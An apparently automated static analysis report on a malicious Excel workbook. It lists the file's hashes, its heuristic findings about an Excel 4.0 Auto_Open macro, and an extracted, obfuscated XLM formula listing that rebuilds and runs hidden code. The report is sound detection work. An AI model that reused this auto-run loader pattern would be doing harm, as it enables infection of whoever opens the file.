Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ac0fc0b5a5b33702…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:21 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 97f3c71c6f7ae5d1e03802b0a0c3c98b SHA-1: 17b2ea5d9bf36958c2c38d34bd41537a515a4d11 SHA-256: ac0fc0b5a5b33702a60417c3a951111c32a79f78bf2e4e2845395053a7c485e7
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains critical heuristic firings indicating the presence of Excel 4.0 macros with an Auto_Open defined name and the use of dangerous formula APIs like RUN. This suggests the macro is designed to execute code automatically upon opening the document, likely to download and execute a malicious payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6582 bytes
SHA-256: 87663618292657baba6796d5c614bacf54b083e0ef9d1b93228f085daf6dde68
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ViBfr
' 0018     24 LABEL : Cell Value, String Constant - AlrQBJFbq len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I144 
' 0018     26 LABEL : Cell Value, String Constant - auvajvUYKkh len=0 
' 0018     23 LABEL : Cell Value, String Constant - BNnPhKbv len=0 
' 0018     22 LABEL : Cell Value, String Constant - bNWZvaO len=0 
' 0018     23 LABEL : Cell Value, String Constant - btDRfKRB len=0 
' 0018     22 LABEL : Cell Value, String Constant - cCnTImA len=0 
' 0018     24 LABEL : Cell Value, String Constant - eXljuCmYY len=0 
' 0018     26 LABEL : Cell Value, String Constant - goaIfExqqhd len=0 
' 0018     22 LABEL : Cell Value, String Constant - gUTzKiL len=0 
' 0018     21 LABEL : Cell Value, String Constant - kVDSUn len=0 
' 0018     26 LABEL : Cell Value, String Constant - nfDoiMUQgxB len=0 
' 0018     24 LABEL : Cell Value, String Constant - PKEAdHaXW len=0 
' 0018     27 LABEL : Cell Value, String Constant - sfBZzRqljMZy len=0 
' 0018     20 LABEL : Cell Value, String Constant - sFzrQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - vDbUKvhJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - XGvHXNtRU len=0 
' 0018     27 LABEL : Cell Value, String Constant - XYRJFcLUXbsU len=0 
' 0018     26 LABEL : Cell Value, String Constant - yGzqhocjDat len=0 
' 0018     20 LABEL : Cell Value, String Constant - zJpze len=0 
' 0018     27 LABEL : Cell Value, String Constant - zzkwSjLdtIcd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ViBfr,I54,"SET.NAME("zzkwSjLdtIcd",VALUE("0"))",""
'  ViBfr,I56,"SET.NAME("AlrQBJFbq",zzkwSjLdtIcd)",""
'  ViBfr,I58,"SET.NAME("BNnPhKbv",zzkwSjLdtIcd)",""
'  ViBfr,I62,"SET.NAME("XYRJFcLUXbsU",COUNTA(vDbUKvhJ))",""
'  ViBfr,I66,"SET.NAME("kVDSUn",COUNTA(bNWZvaO))",""
'  ViBfr,I68,[],""
'  ViBfr,I72,"SET.NAME("sfBZzRqljMZy","")",""
'  ViBfr,I75,"AlrQBJFbq",""
'  ViBfr,I78,"SET.NAME("eXljuCmYY",HLOOKUP("*",vDbUKvhJ,AlrQBJFbq,FALSE))",""
'  ViBfr,I81,"zJpze",""
'  ViBfr,I86,"SET.NAME("gUTzKiL",zzkwSjLdtIcd)",""
'  ViBfr,I88,[],""
'  ViBfr,I92,"gUTzKiL",""
'  ViBfr,I95,"PKEAdHaXW",""
'  ViBfr,I97,"cCnTImA",""
'  ViBfr,I102,"auvajvUYKkh",""
'  ViBfr,I107,"SET.NAME("nfDoiMUQgxB",VALUE(HLOOKUP("*",bNWZvaO,auvajvUYKkh,FALSE)))",""
'  ViBfr,I112,"yGzqhocjDat",""
'  ViBfr,I114,"sfBZzRqljMZy",""
'  ViBfr,I119,"BNnPhKbv",""
'  ViBfr,I123,NEXT(),""
'  ViBfr,I125,"goaIfExqqhd",""
'  ViBfr,I129,"SET.NAME("f",INT(T(FORMULA(T(sfBZzRqljMZy)&"",""&T(goaIfExqqhd)))))",""
'  ViBfr,I133,"XGvHXNtRU",""
'  ViBfr,I138,NEXT(),""
'  ViBfr,I141,RETURN(),""
'  ViBfr,I168,"SET.NAME("btDRfKRB",I54)",""
'  ViBfr,I172,"vDbUKvhJ",""
'  ViBfr,I174,"SET.NAME("bNWZvaO",R92C15)",""
'  ViBfr,I178,"SET.NAME("XGvHXNtRU",183)",""
'  ViBfr,I180,"SET.NAME("sFzrQ",9)",""
'  ViBfr,I182,btDRfKRB(),""
'  ViBfr,I183,HALT(),""

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